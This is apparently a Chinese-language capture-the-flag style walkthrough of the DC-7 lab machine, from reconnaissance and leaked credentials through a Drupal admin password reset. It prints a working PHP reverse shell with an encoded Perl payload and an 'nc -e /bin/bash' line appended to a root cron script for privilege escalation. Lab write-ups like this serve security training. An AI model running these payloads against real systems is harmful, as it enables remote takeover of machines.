点我
DC7
DC系列是专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验,目前总共有9个靶机
关注微信公众号:小白学安全,公众号内回复DC,即可获取DC系列靶机镜像!
导入DC7靶机,网络适配器选择NAT模式,确保和kali处于同一IP段!!!
信息收集
确定IP地址
netdiscover -i eth0 -r 192.168.84.0/24
扫描端口
nmap 漏洞扫描
WEB测试
基于网站的信息收集
最终在github上面发现代码泄露
https://github.com/Dc7User/staffdb
在config.php文件中发现账户与密码
经测试,可登录ssh
在当前目录下有一个mbox文件
调用了这个脚本
查看当前目录下的文件,backups里面有两个加密文件,不可利用,查看mbox文件,发现是一个计划任务 自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的
注意:drush是专门用来管理Drupal站点的shell,可以用来修改密码
故修改站点密码
先进入网站所在的目录
通过以下命令发现管理员账号admin
drush user-information admin
修改admin账户的密码
drush upwd admin --password="passwd"
以当前的账户密码登录网站后台
写入反弹shell
该位置可以编写文章,但是没有php形式
安装支持php语言的插件
插件链接:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
安装成功
提示:如果报错,则重新安装即可
回到模块中,勾选php安装,安装完成后在内容编辑的地方出现了PHP code
在该页面写入反弹shell
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.84.174"; #监听ip
$yourport = '10086'; #监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
本地开启监听状态
提权
获取标准的终端
python -c "import pty;pty.spawn('/bin/bash')"
利用定时任务提权
追加一个反弹shell到定时任务中,即可
echo "nc -e /bin/bash 192.168.84.174 5555" >> /opt/scripts/backups.sh
本地监听5555端口,等待backups.sh文件定时执行root权限就好了
获取标准的终端
python -c "import pty;pty.spawn('/bin/bash')"
flag
分类:
靶机
版权申明
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论